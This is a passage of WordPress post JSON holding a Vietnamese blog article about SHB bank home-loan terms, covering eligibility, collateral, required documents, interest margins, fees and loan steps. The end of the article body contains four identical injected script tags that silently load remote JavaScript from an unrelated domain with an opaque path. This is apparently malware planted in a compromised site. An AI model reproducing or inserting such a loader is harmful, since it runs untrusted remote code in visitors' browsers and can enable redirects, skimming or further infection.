data-sourcepos=\"3:1-3:18\"><strong>\u0110\u1ed1i t\u01b0\u1ee3ng vay:<\/strong><\/p>\n<ul data-sourcepos=\"5:1-7:0\">\n<li data-sourcepos=\"5:1-5:101\">Kh\u00e1ch h\u00e0ng c\u00e1 nh\u00e2n t\u1eeb \u0111\u1ee7 18 tu\u1ed5i, c\u00f3 thu nh\u1eadp h\u1ee3p ph\u00e1p, \u1ed5n \u0111\u1ecbnh v\u00e0 ch\u1ee9ng minh \u0111\u01b0\u1ee3c kh\u1ea3 n\u0103ng tr\u1ea3 n\u1ee3.<\/li>\n<li data-sourcepos=\"6:1-7:0\">Kh\u00e1ch h\u00e0ng c\u00f3 \u0111\u1ee7 \u0111i\u1ec1u ki\u1ec7n theo quy \u0111\u1ecbnh c\u1ee7a Ng\u00e2n h\u00e0ng SHB.<\/li>\n<\/ul>\n<p data-sourcepos=\"8:1-8:33\"><strong>\u0110i\u1ec1u ki\u1ec7n v\u1ec1 t\u00e0i s\u1ea3n \u0111\u1ea3m b\u1ea3o:<\/strong><\/p>\n<ul data-sourcepos=\"10:1-12:0\">\n<li data-sourcepos=\"10:1-10:79\">B\u1ea5t \u0111\u1ed9ng s\u1ea3n (nh\u00e0 \u1edf, \u0111\u1ea5t n\u1ec1n) \u0111\u01b0\u1ee3c ph\u00e9p th\u1ebf ch\u1ea5p theo quy \u0111\u1ecbnh c\u1ee7a ph\u00e1p lu\u1eadt.<\/li>\n<li data-sourcepos=\"11:1-12:0\">B\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ea3m b\u1ea3o ph\u1ea3i c\u00f3 gi\u00e1 tr\u1ecb \u0111\u1ee7 \u0111\u1ec3 thanh to\u00e1n kho\u1ea3n vay v\u00e0 l\u00e3i su\u1ea5t.<\/li>\n<\/ul>\n<p data-sourcepos=\"13:1-13:18\"><strong>H\u1ed3 s\u01a1 vay v\u1ed1n:<\/strong><\/p>\n<ul data-sourcepos=\"15:1-21:0\">\n<li data-sourcepos=\"15:1-15:49\">\u0110\u01a1n \u0111\u1ec1 ngh\u1ecb vay v\u1ed1n theo m\u1eabu c\u1ee7a Ng\u00e2n h\u00e0ng SHB.<\/li>\n<li data-sourcepos=\"16:1-16:97\">Gi\u1ea5y t\u1edd t\u00f9y th\u00e2n h\u1ee3p l\u1ec7: Ch\u1ee9ng minh nh\u00e2n d\u00e2n\/C\u0103n c\u01b0\u1edbc c\u00f4ng d\u00e2n, h\u1ed9 chi\u1ebfu (c\u00f2n gi\u00e1 tr\u1ecb s\u1eed d\u1ee5ng).<\/li>\n<li data-sourcepos=\"17:1-17:86\">Gi\u1ea5y t\u1edd ch\u1ee9ng minh t\u00ecnh tr\u1ea1ng h\u00f4n nh\u00e2n: Gi\u1ea5y \u0111\u0103ng k\u00fd k\u1ebft h\u00f4n\/Gi\u1ea5y x\u00e1c nh\u1eadn \u0111\u1ed9c th\u00e2n.<\/li>\n<li data-sourcepos=\"18:1-18:93\">Gi\u1ea5y t\u1edd ch\u1ee9ng minh thu nh\u1eadp: H\u1ee3p \u0111\u1ed3ng lao \u0111\u1ed9ng, b\u1ea3ng l\u01b0\u01a1ng, sao k\u00ea t\u00e0i kho\u1ea3n ng\u00e2n h\u00e0ng, &#8230;<\/li>\n<li data-sourcepos=\"19:1-19:100\">Gi\u1ea5y t\u1edd ch\u1ee9ng minh m\u1ee5c \u0111\u00edch vay v\u1ed1n: H\u1ee3p \u0111\u1ed3ng mua b\u00e1n nh\u00e0, Gi\u1ea5y ch\u1ee9ng nh\u1eadn quy\u1ec1n s\u1edf h\u1eefu nh\u00e0 \u1edf, &#8230;<\/li>\n<li data-sourcepos=\"20:1-21:0\">Gi\u1ea5y t\u1edd v\u1ec1 t\u00e0i s\u1ea3n \u0111\u1ea3m b\u1ea3o: Gi\u1ea5y ch\u1ee9ng nh\u1eadn quy\u1ec1n s\u1eed d\u1ee5ng \u0111\u1ea5t, Gi\u1ea5y ch\u1ee9ng nh\u1eadn quy\u1ec1n s\u1edf h\u1eefu nh\u00e0 \u1edf, &#8230;<\/li>\n<\/ul>\n<p data-sourcepos=\"22:1-22:17\"><strong>L\u00e3i su\u1ea5t vay:<\/strong><\/p>\n<ul data-sourcepos=\"24:1-26:0\">\n<li data-sourcepos=\"24:1-24:136\">L\u00e3i su\u1ea5t vay mua nh\u00e0 tr\u1ea3 g\u00f3p t\u1ea1i Ng\u00e2n h\u00e0ng SHB \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng theo l\u00e3i su\u1ea5t ti\u1ebft ki\u1ec7m k\u1ef3 h\u1ea1n 12 th\u00e1ng c\u1ed9ng bi\u00ean \u0111\u1ed9 t\u1eeb 3,5% \u0111\u1ebfn 4,5%\/n\u0103m.<\/li>\n<li data-sourcepos=\"25:1-26:0\">M\u1ee9c l\u00e3i su\u1ea5t c\u1ee5 th\u1ec3 s\u1ebd \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng t\u00f9y theo th\u1eddi h\u1ea1n vay, lo\u1ea1i h\u00ecnh s\u1ea3n ph\u1ea9m vay v\u00e0 h\u1ed3 s\u01a1 vay v\u1ed1n c\u1ee7a kh\u00e1ch h\u00e0ng.<\/li>\n<\/ul>\n<p data-sourcepos=\"27:1-27:17\"><strong>Th\u1eddi h\u1ea1n vay:<\/strong><\/p>\n<ul data-sourcepos=\"29:1-30:0\">\n<li data-sourcepos=\"29:1-30:0\">Th\u1eddi h\u1ea1n vay mua nh\u00e0 tr\u1ea3 g\u00f3p t\u1ea1i Ng\u00e2n h\u00e0ng SHB t\u1ed1i \u0111a l\u00ean \u0111\u1ebfn 35 n\u0103m.<\/li>\n<\/ul>\n<p data-sourcepos=\"31:1-31:19\"><strong>M\u1ee9c vay t\u1ed1i \u0111a:<\/strong><\/p>\n<ul data-sourcepos=\"33:1-34:0\">\n<li data-sourcepos=\"33:1-34:0\">M\u1ee9c vay t\u1ed1i \u0111a l\u00ean \u0111\u1ebfn 70% gi\u00e1 tr\u1ecb t\u00e0i s\u1ea3n \u0111\u1ea3m b\u1ea3o.<\/li>\n<\/ul>\n<p data-sourcepos=\"35:1-35:18\"><strong>Ph\u00ed giao d\u1ecbch:<\/strong><\/p>\n<ul data-sourcepos=\"37:1-41:0\">\n<li data-sourcepos=\"37:1-37:58\">Ph\u00ed th\u1ea9m \u0111\u1ecbnh h\u1ed3 s\u01a1: 0,15% &#8211; 0,2% tr\u00ean t\u1ed5ng s\u1ed1 ti\u1ec1n vay.<\/li>\n<li data-sourcepos=\"38:1-38:68\">Ph\u00ed th\u1ea9m \u0111\u1ecbnh gi\u00e1 t\u00e0i s\u1ea3n: Theo quy \u0111\u1ecbnh c\u1ee7a \u0111\u01a1n v\u1ecb th\u1ea9m \u0111\u1ecbnh gi\u00e1.<\/li>\n<li data-sourcepos=\"39:1-39:62\">Ph\u00ed c\u00f4ng ch\u1ee9ng h\u1ee3p \u0111\u1ed3ng vay v\u1ed1n: Theo quy \u0111\u1ecbnh c\u1ee7a nh\u00e0 n\u01b0\u1edbc.<\/li>\n<li data-sourcepos=\"40:1-41:0\">Ph\u00ed tr\u1ea3 n\u1ee3 tr\u01b0\u1edbc h\u1ea1n: 1% &#8211; 2% tr\u00ean s\u1ed1 ti\u1ec1n tr\u1ea3 n\u1ee3 tr\u01b0\u1edbc h\u1ea1n.<\/li>\n<\/ul>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Quy_trinh_cho_vay_mua_nha_tra_gop_ngan_hang_SHB\"><\/span><strong>Quy tr\u00ecnh cho vay mua nh\u00e0 tr\u1ea3 g\u00f3p ng\u00e2n h\u00e0ng SHB<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>B\u01b0\u1edbc 1: Chu\u1ea9n b\u1ecb h\u1ed3 s\u01a1 vay v\u1ed1n<\/p>\n<p>B\u01b0\u1edbc 2: N\u1ed9p h\u1ed3 s\u01a1 vay v\u1ed1n<\/p>\n<p>B\u01b0\u1edbc 3: Th\u1ea9m \u0111\u1ecbnh h\u1ed3 s\u01a1 vay v\u1ed1n<\/p>\n<p>B\u01b0\u1edbc 4: K\u00fd h\u1ee3p \u0111\u1ed3ng vay v\u1ed1n v\u00e0 gi\u1ea3i ng\u00e2n<\/p>\n<p>B\u01b0\u1edbc 5: Thanh to\u00e1n kho\u1ea3n vay<\/p>\n<figure id=\"attachment_40241\" aria-describedby=\"caption-attachment-40241\" style=\"width: 1200px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"size-full wp-image-40241 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb.jpg\" alt=\"cac-thu-tuc-cho-vay-ngan-hang\" width=\"1200\" height=\"630\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb.jpg 1200w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb-300x158.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb-1024x538.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb-768x403.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb-150x79.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb-696x365.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/cac-thu-tuc-cho-vay-ngan-hang-shb-1068x561.jpg 1068w\" data-sizes=\"(max-width: 1200px) 100vw, 1200px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1200px; --smush-placeholder-aspect-ratio: 1200\/630;\" \/><figcaption id=\"caption-attachment-40241\" class=\"wp-caption-text\">C\u00e1c th\u1ee7 t\u1ee5c khi l\u00e0m giao d\u1ecbch t\u1ea1i ng\u00e2n h\u00e0ng SHB<\/figcaption><\/figure>\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 nh\u1eefng th\u00f4ng tin v\u1ec1 L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB hi\u1ec7n nay \u2013 c\u1eadp nh\u1eadt m\u1edbi nh\u1ea5t th\u00e1ng 3\/2024. <strong><a href=\"https:\/\/reti.vn\/\">RETI<\/a>\u00a0<\/strong>mong r\u1eb1ng qua b\u00e0i vi\u1ebft n\u00e0y, m\u1ecdi ng\u01b0\u1eddi c\u00f3 th\u1ec3 c\u1eadp nh\u1eadt \u0111\u01b0\u1ee3c th\u00eam t\u00ecnh h\u00ecnh v\u1ec1 l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB hi\u1ec7n nay<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng l\u00e0 m\u1ed9t trong nh\u1eefng y\u1ebfu t\u1ed1 quan tr\u1ecdng \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn quy\u1ebft \u0111\u1ecbnh vay v\u1ed1n c\u1ee7a ng\u01b0\u1eddi d\u00e2n v\u00e0 doanh nghi\u1ec7p. V\u00e0 ng\u00e2n h\u00e0ng SHB \u0111ang \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi quan t\u00e2m. T\u1ea1i sao l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB l\u1ea1i \u0111\u01b0\u1ee3c m\u1ecdi ng\u01b0\u1eddi quan t\u00e2m nhi\u1ec1u \u0111\u1ebfn v\u1eady, h\u00e3y c\u00f9ng [&hellip;]<\/p>\n","protected":false},"author":44,"featured_media":40227,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[986],"tags":[],"class_list":{"0":"post-40201","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-lai-suat-vay-ngan-hang"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/40201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=40201"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/40201\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/40227"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=40201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=40201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=40201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}